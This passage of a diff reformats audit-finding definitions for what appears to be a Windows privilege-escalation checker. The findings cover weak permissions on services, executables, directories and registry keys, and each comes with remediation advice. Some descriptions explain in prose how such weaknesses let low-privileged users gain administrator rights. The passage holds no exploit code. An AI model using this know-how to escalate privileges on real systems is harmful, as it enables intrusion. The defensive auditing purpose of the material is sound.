- 'recommendation': '''Review the permissions that have been granted to non-administrative users and revoke access where possible.''',
- 'supporting_data': {
- 'writable_progs': {
- 'section': "description",
- 'preamble': "The following programs/DLLs in the system PATH can be manipulated by non-administrator users:",
- },
- 'writable_dirs': {
- 'section': "description",
- 'preamble': "The following directories in the system PATH can be manipulated by non-administrator users:",
- },
- }
+ 'title': "Insecure Permissions On Files / Directories In System PATH",
+ 'description':
+ '''Some programs/directories in the system path have weak permissions. TODO which user are affected by this issue?''',
+ 'recommendation':
+ '''Review the permissions that have been granted to non-administrative users and revoke access where possible.''',
+ 'supporting_data': {
+ 'writable_progs': {
+ 'section':
+ "description",
+ 'preamble':
+ "The following programs/DLLs in the system PATH can be manipulated by non-administrator users:",
+ },
+ 'writable_dirs': {
+ 'section':
+ "description",
+ 'preamble':
+ "The following directories in the system PATH can be manipulated by non-administrator users:",
+ },
+ }
},
'WPC014': {
- 'title': "Insecure Permissions On Files / Directories In Current User's PATH",
- 'description': '''Some programs/directories in the path of the user used to perform this audit have weak permissions.''',
- 'recommendation': '''Review the permissions that have been granted to non-administrative users and revoke access where possible.''',
- 'supporting_data': {
- 'writable_progs': {
- 'section': "description",
- 'preamble': "The following programs/DLLs in current user's PATH can be manipulated by non-administrator users:",
- },
- 'writable_dirs': {
- 'section': "description",
- 'preamble': "The following directories in the current user's PATH can be manipulated by non-administrator users:",
- },
- }
+ 'title':
+ "Insecure Permissions On Files / Directories In Current User's PATH",
+ 'description':
+ '''Some programs/directories in the path of the user used to perform this audit have weak permissions.''',
+ 'recommendation':
+ '''Review the permissions that have been granted to non-administrative users and revoke access where possible.''',
+ 'supporting_data': {
+ 'writable_progs': {
+ 'section':
+ "description",
+ 'preamble':
+ "The following programs/DLLs in current user's PATH can be manipulated by non-administrator users:",
+ },
+ 'writable_dirs': {
+ 'section':
+ "description",
+ 'preamble':
+ "The following directories in the current user's PATH can be manipulated by non-administrator users:",
+ },
+ }
},
'WPC015': {
- 'title': "Insecure Permissions On Files / Directories In Users' PATHs (TODO)",
- 'description': '''Some programs/directories in the paths of users on this system have weak permissions.''',
- 'recommendation': '''Review the permissions that have been granted to non-administrative users and revoke access where possible.''',
- 'supporting_data': {
- 'writable_progs': {
- 'section': "description",
- 'preamble': "The following programs/DLLs in users' PATHs can be manipulated by non-administrator users:",
- },
- 'writable_dirs': {
- 'section': "description",
- 'preamble': "The following directories in users' PATHs can be manipulated by non-administrator users:",
- },
- }
+ 'title':
+ "Insecure Permissions On Files / Directories In Users' PATHs (TODO)",
+ 'description':
+ '''Some programs/directories in the paths of users on this system have weak permissions.''',
+ 'recommendation':
+ '''Review the permissions that have been granted to non-administrative users and revoke access where possible.''',
+ 'supporting_data': {
+ 'writable_progs': {
+ 'section':
+ "description",
+ 'preamble':
+ "The following programs/DLLs in users' PATHs can be manipulated by non-administrator users:",
+ },
+ 'writable_dirs': {
+ 'section':
+ "description",
+ 'preamble':
+ "The following directories in users' PATHs can be manipulated by non-administrator users:",
+ },
+ }
},
'WPC016': {
- 'title': "Insecure Permissions On Running Programs (OBSELETED by WPC067)",
- 'description': '''Some programs running at the time of the audit have weak file permissions. The corresponding programs could be altered by non-administrator users.''',
- 'recommendation': '''Review the permissions that have been granted to non-administrative users and revoke access where possible.''',
- 'supporting_data': {
- 'weak_perms_exes': {
- 'section': "description",
- 'preamble': "The following programs were running at the time of the audit, but could be changed on-disk by non-administrator users:",
- },
- 'weak_perms_dlls': {
- 'section': "description",
- 'preamble': "The following DLLs are used by program which were running at the time of the audit. These DLLs can be changed on-disk by non-administrator users:",
- },
- }
+ 'title':
+ "Insecure Permissions On Running Programs (OBSELETED by WPC067)",
+ 'description':
+ '''Some programs running at the time of the audit have weak file permissions. The corresponding programs could be altered by non-administrator users.''',
+ 'recommendation':
+ '''Review the permissions that have been granted to non-administrative users and revoke access where possible.''',
+ 'supporting_data': {
+ 'weak_perms_exes': {
+ 'section':
+ "description",
+ 'preamble':
+ "The following programs were running at the time of the audit, but could be changed on-disk by non-administrator users:",
+ },
+ 'weak_perms_dlls': {
+ 'section':
+ "description",
+ 'preamble':
+ "The following DLLs are used by program which were running at the time of the audit. These DLLs can be changed on-disk by non-administrator users:",
+ },
+ }
},
'WPC018': {
- 'title': "Service Can Be Started By Non-Admin Users",
- 'description': '''The service-level permissions on some Windows services allow them to be started by non-administrative users. This can often be desirable, in which case this issue can be ignored. However, sometimes it can allow users to expose or exploit a vulnerability connected with the service - e.g. it may listen on the network or it may have been tampered with by an attacker and they now need to start the service. The permission is not always dangerous on its own, but can sometimes aid a local attacker.''',
- 'recommendation': '''Review the service-level permissions that have been granted to non-administrative users and revoke access where possible.''',
- 'supporting_data': {
- 'principals_with_service_perm': {
- 'section': "description",
- 'preamble': "The SERVICE_START permission has been granted to the following non-administrative users:",
- },
- }
+ 'title': "Service Can Be Started By Non-Admin Users",
+ 'description':
+ '''The service-level permissions on some Windows services allow them to be started by non-administrative users. This can often be desirable, in which case this issue can be ignored. However, sometimes it can allow users to expose or exploit a vulnerability connected with the service - e.g. it may listen on the network or it may have been tampered with by an attacker and they now need to start the service. The permission is not always dangerous on its own, but can sometimes aid a local attacker.''',
+ 'recommendation':
+ '''Review the service-level permissions that have been granted to non-administrative users and revoke access where possible.''',
+ 'supporting_data': {
+ 'principals_with_service_perm': {
+ 'section':
+ "description",
+ 'preamble':
+ "The SERVICE_START permission has been granted to the following non-administrative users:",
+ },
+ }
},
'WPC019': {
- 'title': "Service Can Be Stopped By Non-Admin Users",
- 'description': '''The service-level permissions on some Windows services allow them to be stopped by non-administrative users. This can often be desirable, in which case this issue can be ignored. However, sometimes it can allow users to evade monitoring services - e.g. Anti-virus. This permission can also be required in order to exploit other weaknesses such as weak file permissions on service executables. The permission is not always dangerous on its own, but can sometimes aid a local attacker.''',
- 'recommendation': '''Review the service-level permissions that have been granted to non-administrative users and revoke access where possible.''',
- 'supporting_data': {
- 'principals_with_service_perm': {
- 'section': "description",
- 'preamble': "The SERVICE_STOP permission has been granted to the following non-administrative users:",
- },
- }
+ 'title': "Service Can Be Stopped By Non-Admin Users",
+ 'description':
+ '''The service-level permissions on some Windows services allow them to be stopped by non-administrative users. This can often be desirable, in which case this issue can be ignored. However, sometimes it can allow users to evade monitoring services - e.g. Anti-virus. This permission can also be required in order to exploit other weaknesses such as weak file permissions on service executables. The permission is not always dangerous on its own, but can sometimes aid a local attacker.''',
+ 'recommendation':
+ '''Review the service-level permissions that have been granted to non-administrative users and revoke access where possible.''',
+ 'supporting_data': {
+ 'principals_with_service_perm': {
+ 'section':
+ "description",
+ 'preamble':
+ "The SERVICE_STOP permission has been granted to the following non-administrative users:",
+ },
+ }
},
'WPC020': {
- 'title': "Service Can Be Paused/Resumed By Non-Admin Users",
- 'description': '''The service-level permissions on some Windows services allow them to be paused/resumed by non-administrative users. This can often be desirable, in which case this issue can be ignored. However, sometimes it can allow users to allow users to evade monitoring - e.g. from Anti-virus services. The permission is not always dangerous on its own, but can sometimes aid a local attacker.''',
- 'recommendation': '''Review the service-level permissions that have been granted to non-administrative users and revoke access where possible.''',
- 'supporting_data': {
- 'principals_with_service_perm': {
- 'section': "description",
- 'preamble': "The SERVICE_PAUSE_CONTINUE permission has been granted to the following non-administrative users:",
- },
- }
+ 'title': "Service Can Be Paused/Resumed By Non-Admin Users",
+ 'description':
+ '''The service-level permissions on some Windows services allow them to be paused/resumed by non-administrative users. This can often be desirable, in which case this issue can be ignored. However, sometimes it can allow users to allow users to evade monitoring - e.g. from Anti-virus services. The permission is not always dangerous on its own, but can sometimes aid a local attacker.''',
+ 'recommendation':
+ '''Review the service-level permissions that have been granted to non-administrative users and revoke access where possible.''',
+ 'supporting_data': {
+ 'principals_with_service_perm': {
+ 'section':
+ "description",
+ 'preamble':
+ "The SERVICE_PAUSE_CONTINUE permission has been granted to the following non-administrative users:",
+ },
+ }
},
'WPC021': {
- 'title': "Service Can Be Reconfigured By Non-Admin Users",
- 'description': '''The service-level permissions on some Windows services allow them to be reconfigured by non-administrative users. This should not normally be required and is inherently insecure. It could certain users alter the program which is run when this service start and to alter which user the service runs as. The most likely attack would be to reconfigure the service to run as LocalSystem with no password and to select a malicious executable. This would give the attacker administrator level access to the local system.''',
- 'recommendation': '''Review the service-level permissions that have been granted to non-administrative users and revoke access where possible.''',
- 'supporting_data': {
- 'principals_with_service_perm': {
- 'section': "description",
- 'preamble': "The SERVICE_CHANGE_CONFIG permission has been granted to the following non-administrative users:",
- },
- }
+ 'title': "Service Can Be Reconfigured By Non-Admin Users",
+ 'description':
+ '''The service-level permissions on some Windows services allow them to be reconfigured by non-administrative users. This should not normally be required and is inherently insecure. It could certain users alter the program which is run when this service start and to alter which user the service runs as. The most likely attack would be to reconfigure the service to run as LocalSystem with no password and to select a malicious executable. This would give the attacker administrator level access to the local system.''',
+ 'recommendation':
+ '''Review the service-level permissions that have been granted to non-administrative users and revoke access where possible.''',
+ 'supporting_data': {
+ 'principals_with_service_perm': {
+ 'section':
+ "description",
+ 'preamble':
+ "The SERVICE_CHANGE_CONFIG permission has been granted to the following non-administrative users:",
+ },
+ }
},
'WPC022': {
- 'title': "Service Can Be Deleted By Non-Admin Users",
- 'description': '''The service-level permissions on some Windows services allow them to be deleted by non-administrative users. This should not normally be required and is inherently insecure. It could allow local users to delete the service. This may allow them to evade monitor - e.g. from Anti-virus - or to disrupt normal business operations. Note that the user would not be able to replace the service as administrator level rights are required to create new services.''',
- 'recommendation': '''Review the service-level permissions that have been granted to non-administrative users and revoke access where possible.''',
- 'supporting_data': {
- 'principals_with_service_perm': {
- 'section': "description",
- 'preamble': "The DELETE permission has been granted to the following non-administrative users:",
- },
- }
+ 'title': "Service Can Be Deleted By Non-Admin Users",
+ 'description':
+ '''The service-level permissions on some Windows services allow them to be deleted by non-administrative users. This should not normally be required and is inherently insecure. It could allow local users to delete the service. This may allow them to evade monitor - e.g. from Anti-virus - or to disrupt normal business operations. Note that the user would not be able to replace the service as administrator level rights are required to create new services.''',
+ 'recommendation':
+ '''Review the service-level permissions that have been granted to non-administrative users and revoke access where possible.''',
+ 'supporting_data': {
+ 'principals_with_service_perm': {
+ 'section':
+ "description",
+ 'preamble':
+ "The DELETE permission has been granted to the following non-administrative users:",
+ },
+ }
},
'WPC023': {
- 'title': "Service Permissions Can Be Altered By Non-Admin Users",
- 'description': '''The service-level permissions on some Windows services allow some non-administrative users to set any service-level permissions of their choosing. This should not normally be required and is inherently insecure. It has a similar effect to granting the user DELETE and SERVICE_CHANGE_CONFIG. These powerful rights could allow the user to reconfigure a service to provide them with administrator level access, or simply to delete the service, disrupting normal business operations.''',
- 'recommendation': '''Review the service-level permissions that have been granted to non-administrative users and revoke access where possible.''',
- 'supporting_data': {
- 'principals_with_service_perm': {
- 'section': "description",
- 'preamble': "The WRITE_DAC permission has been granted to the following non-administrative users:",
- },
- }
+ 'title': "Service Permissions Can Be Altered By Non-Admin Users",
+ 'description':
+ '''The service-level permissions on some Windows services allow some non-administrative users to set any service-level permissions of their choosing. This should not normally be required and is inherently insecure. It has a similar effect to granting the user DELETE and SERVICE_CHANGE_CONFIG. These powerful rights could allow the user to reconfigure a service to provide them with administrator level access, or simply to delete the service, disrupting normal business operations.''',
+ 'recommendation':
+ '''Review the service-level permissions that have been granted to non-administrative users and revoke access where possible.''',
+ 'supporting_data': {
+ 'principals_with_service_perm': {
+ 'section':
+ "description",
+ 'preamble':
+ "The WRITE_DAC permission has been granted to the following non-administrative users:",
+ },
+ }
},
'WPC024': {
- 'title': "Non-Admin Users Can Take Ownership of Service",
- 'description': '''The service-level permissions on some Windows services allow ownership to be claimed by some non-administrative users. This should not normally be required and is inherently insecure. It has a similar effect to granting the user WRITE_DAC (and thus DELETE and SERVICE_CHANGE_CONFIG). These powerful rights could allow the user to reconfigure a service to provide them with administrator level access, or simply to delete the service, disrupting normal business operations.''',
- 'recommendation': '''Review the service-level permissions that have been granted to non-administrative users and revoke access where possible.''',
- 'supporting_data': {
- 'principals_with_service_perm': {
- 'section': "description",
- 'preamble': "The WRITE_OWNER permission has been granted to the following non-administrative users:",
- },
- }
+ 'title': "Non-Admin Users Can Take Ownership of Service",
+ 'description':
+ '''The service-level permissions on some Windows services allow ownership to be claimed by some non-administrative users. This should not normally be required and is inherently insecure. It has a similar effect to granting the user WRITE_DAC (and thus DELETE and SERVICE_CHANGE_CONFIG). These powerful rights could allow the user to reconfigure a service to provide them with administrator level access, or simply to delete the service, disrupting normal business operations.''',
+ 'recommendation':
+ '''Review the service-level permissions that have been granted to non-administrative users and revoke access where possible.''',
+ 'supporting_data': {
+ 'principals_with_service_perm': {
+ 'section':
+ "description",
+ 'preamble':
+ "The WRITE_OWNER permission has been granted to the following non-administrative users:",
+ },
+ }
},
'WPC025': {
- 'title': "Services Owned By Non-Admin Users",
- 'description': '''The owner in the security descriptor for some services is set to a non-administrative user. This should not normally be required and is inherently insecure. It has a similar effect to granting the user WRITE_DAC (and thus DELETE and SERVICE_CHANGE_CONFIG). These powerful rights could allow the user to reconfigure a service to provide them with administrator level access, or simply to delete the service, disrupting normal business operations.''',
- 'recommendation': '''Review the service-level permissions that have been granted to non-administrative users and revoke access where possible.''',
- 'supporting_data': {
- 'principals_with_service_ownership': {
- 'section': "description",
- 'preamble': "The following services are owned by non-administrative users:",
- },
- }
+ 'title': "Services Owned By Non-Admin Users",
+ 'description':
+ '''The owner in the security descriptor for some services is set to a non-administrative user. This should not normally be required and is inherently insecure. It has a similar effect to granting the user WRITE_DAC (and thus DELETE and SERVICE_CHANGE_CONFIG). These powerful rights could allow the user to reconfigure a service to provide them with administrator level access, or simply to delete the service, disrupting normal business operations.''',
+ 'recommendation':
+ '''Review the service-level permissions that have been granted to non-administrative users and revoke access where possible.''',
+ 'supporting_data': {
+ 'principals_with_service_ownership': {
+ 'section':
+ "description",
+ 'preamble':
+ "The following services are owned by non-administrative users:",
+ },
+ }
},
'WPC026': {
- 'title': "Delete Permission Granted On Windows Service Executables",
- 'description': '''Some of the programs that are run when Windows Services start were found to have weak file permissions. It is possible for non-administrative local users to delete some of the Windows Service executables with malicious programs. This could lead to disruption or denial of service.''',
- 'recommendation': '''Modify the permissions on the above programs to allow only administrators delete permission. Revoke delete permission from low-privileged users.''',
- 'supporting_data': {
- 'service_exe_write_perms': {
- 'section': "description",
- 'preamble': "The programs below have DELETE permission granted to non-administrative users:",
- },
- }
+ 'title': "Delete Permission Granted On Windows Service Executables",
+ 'description':
+ '''Some of the programs that are run when Windows Services start were found to have weak file permissions. It is possible for non-administrative local users to delete some of the Windows Service executables with malicious programs. This could lead to disruption or denial of service.''',
+ 'recommendation':
+ '''Modify the permissions on the above programs to allow only administrators delete permission. Revoke delete permission from low-privileged users.''',
+ 'supporting_data': {
+ 'service_exe_write_perms': {
+ 'section':
+ "description",
+ 'preamble':
+ "The programs below have DELETE permission granted to non-administrative users:",
+ },
+ }
},
'WPC027': {
- 'title': "Append Permission Granted Windows Service Executables",
- 'description': '''Some of the programs that are run when Windows Services start were found to have weak file permissions. It is possible for non-administrative local users to append to some of the Windows Service executables with malicious programs. This is unlikely to be exploitable for .exe files, but is it bad security practise to allow more access than necessary to low-privileged users.''',
- 'recommendation': '''Modify the permissions on the above programs to allow only administrators delete permission. Revoke delete permission from low-privileged users.''',
- 'supporting_data': {
- 'service_exe_write_perms': {
- 'section': "description",
- 'preamble': "The programs below have FILE_APPEND permission granted to non-administrative users:",
- },
- }
+ 'title': "Append Permission Granted Windows Service Executables",
+ 'description':
+ '''Some of the programs that are run when Windows Services start were found to have weak file permissions. It is possible for non-administrative local users to append to some of the Windows Service executables with malicious programs. This is unlikely to be exploitable for .exe files, but is it bad security practise to allow more access than necessary to low-privileged users.''',
+ 'recommendation':
+ '''Modify the permissions on the above programs to allow only administrators delete permission. Revoke delete permission from low-privileged users.''',
+ 'supporting_data': {
+ 'service_exe_write_perms': {
+ 'section':
+ "description",
+ 'preamble':
+ "The programs below have FILE_APPEND permission granted to non-administrative users:",
+ },
+ }
},
'WPC028': {
- 'title': "Untrusted Users Can Modify Windows Service Executables",
- 'description': '''Some of the programs that are run when Windows Services start were found to have weak file permissions. It is possible for non-administrative local users to replace some of the Windows Service executables with malicious programs. This could be abused to execute programs with the privileges of the Windows services concerned.''',
- 'recommendation': '''Modify the permissions on the above programs to allow only administrators write access. Revoke write access from low-privileged users.''',
- 'supporting_data': {
- 'service_exe_write_perms': {
- 'section': "description",
- 'preamble': "The programs below have FILE_WRITE, WRITE_DAC or WRITE_OWNER permission granted to non-administrative users:",
- },
- }
+ 'title': "Untrusted Users Can Modify Windows Service Executables",
+ 'description':
+ '''Some of the programs that are run when Windows Services start were found to have weak file permissions. It is possible for non-administrative local users to replace some of the Windows Service executables with malicious programs. This could be abused to execute programs with the privileges of the Windows services concerned.''',
+ 'recommendation':
+ '''Modify the permissions on the above programs to allow only administrators write access. Revoke write access from low-privileged users.''',
+ 'supporting_data': {
+ 'service_exe_write_perms': {
+ 'section':
+ "description",
+ 'preamble':
+ "The programs below have FILE_WRITE, WRITE_DAC or WRITE_OWNER permission granted to non-administrative users:",
+ },
+ }
},
'WPC029': {
- 'title': "Windows Service Executables Owned By Untrusted Users",
- 'description': '''Some of the programs that are run when Windows Services start were found to be owned by untrusted users. Consequently, these programs can be replace with malicious programs by low-privileged users. This could result is users stealing the privileges of the services affected.''',
- 'recommendation': '''Change the ownership of the affected programs. They should be owned by administrators.''',
- 'supporting_data': {
- 'service_exe_owner': {
- 'section': "description",
- 'preamble': "The programs below were owned by non-administrative users:",
- },
- }
+ 'title': "Windows Service Executables Owned By Untrusted Users",
+ 'description':
+ '''Some of the programs that are run when Windows Services start were found to be owned by untrusted users. Consequently, these programs can be replace with malicious programs by low-privileged users. This could result is users stealing the privileges of the services affected.''',
+ 'recommendation':
+ '''Change the ownership of the affected programs. They should be owned by administrators.''',
+ 'supporting_data': {
+ 'service_exe_owner': {
+ 'section':
+ "description",
+ 'preamble':
+ "The programs below were owned by non-administrative users:",
+ },
+ }
},
'WPC030': {
- 'title': "Parent Directories of Windows Service Executables Allow Untrusted Users FILE_DELETE_CHILD and FILE_ADD_SUBDIR Permissions",
- 'description': '''Some of the programs that are run when Windows Services start were found to have parent directories that had both FILE_DELETE_CHILD and FILE_ADD_SUBDIR permissions granted to untrusted users. This combination of directory permissions allows entire portions of the parent directory structure can be deleted and replaced, allowing the service executable to be susbstituted with a malicoius one. In this way low-privileged users could steal the privileges of the services affected.''',
- 'recommendation': '''Change the directory permissions granted to low-privileged users. They should never be granted FILE_DELETE_CHILD permission to the parent directory of a program. FILE_ADD_SUBDIR should be used sparingly.''',
- 'supporting_data': {
- 'service_exe_parent_dir_perms': {
- 'section': "description",
- 'preamble': "The programs had parent directories which granted non-administrative users FILE_DELETE_CHILD and FILE_ADD_SUBDIR permissions:",
- },
- }
+ 'title':
+ "Parent Directories of Windows Service Executables Allow Untrusted Users FILE_DELETE_CHILD and FILE_ADD_SUBDIR Permissions",
+ 'description':
+ '''Some of the programs that are run when Windows Services start were found to have parent directories that had both FILE_DELETE_CHILD and FILE_ADD_SUBDIR permissions granted to untrusted users. This combination of directory permissions allows entire portions of the parent directory structure can be deleted and replaced, allowing the service executable to be susbstituted with a malicoius one. In this way low-privileged users could steal the privileges of the services affected.''',
+ 'recommendation':
+ '''Change the directory permissions granted to low-privileged users. They should never be granted FILE_DELETE_CHILD permission to the parent directory of a program. FILE_ADD_SUBDIR should be used sparingly.''',
+ 'supporting_data': {
+ 'service_exe_parent_dir_perms': {
+ 'section':
+ "description",
+ 'preamble':
+ "The programs had parent directories which granted non-administrative users FILE_DELETE_CHILD and FILE_ADD_SUBDIR permissions:",
+ },
+ }
},
'WPC031': {
- 'title': "Parent Directories of Windows Service Executables Allow Untrusted Users DELETE Permissions And Can Be Replaced Because of FILE_ADD_SUBDIR Permission",
- 'description': '''Some of the programs that are run when Windows Services start were found to have parent directories that had DELETE permission granted to untrusted users. Further the parent directories of the directories affected had FILE_ADD_SUBDIR granted for low-privileged users. This combination of directory permissions allows entire portions of the parent directory structure can be deleted and replaced, allowing the service executable to be susbstituted with a malicoius one. In this way low-privileged users could steal the privileges of the services affected.''',
- 'recommendation': '''Change the directory permissions granted to low-privileged users. They should never be granted DELETE permission to the parent directory of a program. FILE_ADD_SUBDIR should be used sparingly.''',
- 'supporting_data': {
- 'service_exe_parent_grandparent_write_perms': {
- 'section': "description",
- 'preamble': "The programs below were owned by non-administrative users:",
- },
- }
+ 'title':
+ "Parent Directories of Windows Service Executables Allow Untrusted Users DELETE Permissions And Can Be Replaced Because of FILE_ADD_SUBDIR Permission",
+ 'description':
+ '''Some of the programs that are run when Windows Services start were found to have parent directories that had DELETE permission granted to untrusted users. Further the parent directories of the directories affected had FILE_ADD_SUBDIR granted for low-privileged users. This combination of directory permissions allows entire portions of the parent directory structure can be deleted and replaced, allowing the service executable to be susbstituted with a malicoius one. In this way low-privileged users could steal the privileges of the services affected.''',
+ 'recommendation':
+ '''Change the directory permissions granted to low-privileged users. They should never be granted DELETE permission to the parent directory of a program. FILE_ADD_SUBDIR should be used sparingly.''',
+ 'supporting_data': {
+ 'service_exe_parent_grandparent_write_perms': {
+ 'section':
+ "description",
+ 'preamble':
+ "The programs below were owned by non-administrative users:",
+ },
+ }
},
'WPC032': {
- 'title': "Parent Directories of Windows Service Executables Can Have File Permissions Altered By Untrusted Users",
- 'description': '''Some of the programs that are run when Windows Services start were found to have parent directories that had the permissions WRITE_OWNER or WRITE_DAC granted to untrusted users. Consequently, low-privileged users could grant themselves any privilege they desired on these directories. This could result in entire portions of the parent directory structure can be deleted and replaced, allowing the service executable to be susbstituted with a malicoius one. In this way low-privileged users could steal the privileges of the services affected.''',
- 'recommendation': '''Change the directory permissions granted to low-privileged users. Service executables should never have WRITE_OWNER or WRITE_DAC granted to low privileged users.''',
- 'supporting_data': {
- 'service_exe_parent_dir_perms': {
- 'section': "description",
- 'preamble': "The directories below had the permissions WRITE_OWNER or WRITE_DAC granted to non-administrative users:",
- },
- }
+ 'title':
+ "Parent Directories of Windows Service Executables Can Have File Permissions Altered By Untrusted Users",
+ 'description':
+ '''Some of the programs that are run when Windows Services start were found to have parent directories that had the permissions WRITE_OWNER or WRITE_DAC granted to untrusted users. Consequently, low-privileged users could grant themselves any privilege they desired on these directories. This could result in entire portions of the parent directory structure can be deleted and replaced, allowing the service executable to be susbstituted with a malicoius one. In this way low-privileged users could steal the privileges of the services affected.''',
+ 'recommendation':
+ '''Change the directory permissions granted to low-privileged users. Service executables should never have WRITE_OWNER or WRITE_DAC granted to low privileged users.''',
+ 'supporting_data': {
+ 'service_exe_parent_dir_perms': {
+ 'section':
+ "description",
+ 'preamble':
+ "The directories below had the permissions WRITE_OWNER or WRITE_DAC granted to non-administrative users:",
+ },
+ }
},
'WPC033': {
- 'title': "Parent Directories of Windows Service Executables Owned By Untrusted Users",
- 'description': '''Some of the programs that are run when Windows Services start were found to have parent directories that were owned by untrusted users. Consequently, entire portions of the parent directory structure can be deleted and replaced, allowing the service executable to be susbstituted with a malicoius one. This could result is users stealing the privileges of the services affected.''',
- 'recommendation': '''Change the ownership of the affected directories. They should be owned by administrators.''',
- 'supporting_data': {
- 'service_exe_parent_dir_untrusted_ownership': {
- 'section': "description",
- 'preamble': "The directories below were owned by non-administrative users:",
- },
- }
+ 'title':
+ "Parent Directories of Windows Service Executables Owned By Untrusted Users",
+ 'description':
+ '''Some of the programs that are run when Windows Services start were found to have parent directories that were owned by untrusted users. Consequently, entire portions of the parent directory structure can be deleted and replaced, allowing the service executable to be susbstituted with a malicoius one. This could result is users stealing the privileges of the services affected.''',
+ 'recommendation':
+ '''Change the ownership of the affected directories. They should be owned by administrators.''',
+ 'supporting_data': {
+ 'service_exe_parent_dir_untrusted_ownership': {
+ 'section':
+ "description",
+ 'preamble':
+ "The directories below were owned by non-administrative users:",
+ },
+ }
},
'WPC034': {
- 'title': "Windows Service Executables Allow DELETE Permissions To Untrusted Users And Can Be Replaced Because of FILE_ADD_FILE Permission On Parent Directory",
- 'description': '''Some of the programs that are run when Windows Services start were found to have DELETE permission granted to low-privileged users. Furthermore, the parent directory allowed FILE_ADD_FILE permission to low-privileged users. This combination of directory permissions allows the service executable to be deleted and replaced malicoius program. In this way low-privileged users could steal the privileges of the services affected.''',
- 'recommendation': '''Change the file and directory permissions granted to low-privileged users. They should never be granted DELETE permission on a service executable. The use of FILE_ADD_FILE on parent directories should also be avoided.''',
- 'supporting_data': {
- 'service_exe_file_parent_write_perms': {
- 'section': "description",
- 'preamble': "The programs had parent directories which granted non-administrative users FILE_DELETE_CHILD and FILE_ADD_SUBDIR permissions:",
- },
- }
+ 'title':
+ "Windows Service Executables Allow DELETE Permissions To Untrusted Users And Can Be Replaced Because of FILE_ADD_FILE Permission On Parent Directory",
+ 'description':
+ '''Some of the programs that are run when Windows Services start were found to have DELETE permission granted to low-privileged users. Furthermore, the parent directory allowed FILE_ADD_FILE permission to low-privileged users. This combination of directory permissions allows the service executable to be deleted and replaced malicoius program. In this way low-privileged users could steal the privileges of the services affected.''',
+ 'recommendation':
+ '''Change the file and directory permissions granted to low-privileged users. They should never be granted DELETE permission on a service executable. The use of FILE_ADD_FILE on parent directories should also be avoided.''',
+ 'supporting_data': {
+ 'service_exe_file_parent_write_perms': {
+ 'section':
+ "description",
+ 'preamble':
+ "The programs had parent directories which granted non-administrative users FILE_DELETE_CHILD and FILE_ADD_SUBDIR permissions:",
+ },
+ }
},
'WPC035': {
- 'title': "Windows Service Registry Keys Are Owned By Untrusted Users",
- 'description': '''Configuration information for Windows Service is stored in the registry. Some of the keys were found to be owned by non-administrative users. It would be possible for these users to maliciously modify the registry to change the executable run to a malicious one, or to make the service run with higher privileges. It could lead to a low-privileged user escalating privilges to local administrator.''',
- 'recommendation': '''Change the ownership of registry keys pertaining to Windows Servies. Keys should only be owned by administors only.''',
- 'supporting_data': {
- 'service_exe_regkey_untrusted_ownership': {
- 'section': "description",
- 'preamble': "The registry keys below were owned by non-administrative users:",
- },
- }
+ 'title': "Windows Service Registry Keys Are Owned By Untrusted Users",
+ 'description':
+ '''Configuration information for Windows Service is stored in the registry. Some of the keys were found to be owned by non-administrative users. It would be possible for these users to maliciously modify the registry to change the executable run to a malicious one, or to make the service run with higher privileges. It could lead to a low-privileged user escalating privilges to local administrator.''',
+ 'recommendation':
+ '''Change the ownership of registry keys pertaining to Windows Servies. Keys should only be owned by administors only.''',
+ 'supporting_data': {
+ 'service_exe_regkey_untrusted_ownership': {
+ 'section':
+ "description",
+ 'preamble':
+ "The registry keys below were owned by non-administrative users:",
+ },
+ }
},
'WPC036': {
- 'title': "Permissions on Windows Service Registry Keys Can be Changed By Untrusted Users",
- 'description': '''Configuration information for Windows Service is stored in the registry. Some of the keys were found to have WRITE_DAC or WRITE_OWNER permissions granted for non-administrative users. After modifying the permission as desired, it would be possible for these users to maliciously modify the registry to change the executable run to a malicious one, or to make the service run with higher privileges. It could lead to a low-privileged user escalating privilges to local administrator.''',
- 'recommendation': '''Change the permissions of registry keys pertaining to Windows Servies. Keys should never allow WRITE_DAC or WRITE_OWNER for low-privileged users.''',
- 'supporting_data': {
- 'service_reg_perms': {
- 'section': "description",
- 'preamble': "The registry keys below had WRITE_DAC or WRITE_OWNER granted for non-administrative users:",
- },
- }
+ 'title':
+ "Permissions on Windows Service Registry Keys Can be Changed By Untrusted Users",
+ 'description':
+ '''Configuration information for Windows Service is stored in the registry. Some of the keys were found to have WRITE_DAC or WRITE_OWNER permissions granted for non-administrative users. After modifying the permission as desired, it would be possible for these users to maliciously modify the registry to change the executable run to a malicious one, or to make the service run with higher privileges. It could lead to a low-privileged user escalating privilges to local administrator.''',
+ 'recommendation':
+ '''Change the permissions of registry keys pertaining to Windows Servies. Keys should never allow WRITE_DAC or WRITE_OWNER for low-privileged users.''',
+ 'supporting_data': {
+ 'service_reg_perms': {
+ 'section':
+ "description",
+ 'preamble':
+ "The registry keys below had WRITE_DAC or WRITE_OWNER granted for non-administrative users:",
+ },
+ }
},
'WPC037': {
- 'title': "Windows Service Registry Values Can be Changed By Untrusted Users",
- 'description': '''Configuration information for Windows Service is stored in the registry. Some of the keys were found to have the KEY_SET_VALUE permission granted for non-administrative users. It would be possible for these users to maliciously modify the registry to change the executable run to a malicious one, or to make the service run with higher privileges. It could lead to a low-privileged user escalating privilges to local administrator.''',
- 'recommendation': '''Change the permissions of registry keys pertaining to Windows Servies. Service registry keys should never allow KEY_SET_VALUE for low-privileged users.''',
- 'supporting_data': {
- 'service_reg_perms': {
- 'section': "description",
- 'preamble': "The registry keys below had KEY_SET_VALUE granted for non-administrative users:",
- },
- }
+ 'title':
+ "Windows Service Registry Values Can be Changed By Untrusted Users",
+ 'description':
+ '''Configuration information for Windows Service is stored in the registry. Some of the keys were found to have the KEY_SET_VALUE permission granted for non-administrative users. It would be possible for these users to maliciously modify the registry to change the executable run to a malicious one, or to make the service run with higher privileges. It could lead to a low-privileged user escalating privilges to local administrator.''',
+ 'recommendation':
+ '''Change the permissions of registry keys pertaining to Windows Servies. Service registry keys should never allow KEY_SET_VALUE for low-privileged users.''',
+ 'supporting_data': {
+ 'service_reg_perms': {
+ 'section':
+ "description",
+ 'preamble':
+ "The registry keys below had KEY_SET_VALUE granted for non-administrative users:",
+ },
+ }
},
'WPC038': {
- 'title': "Windows Service Registry Keys Allow KEY_CREATE_LINK",
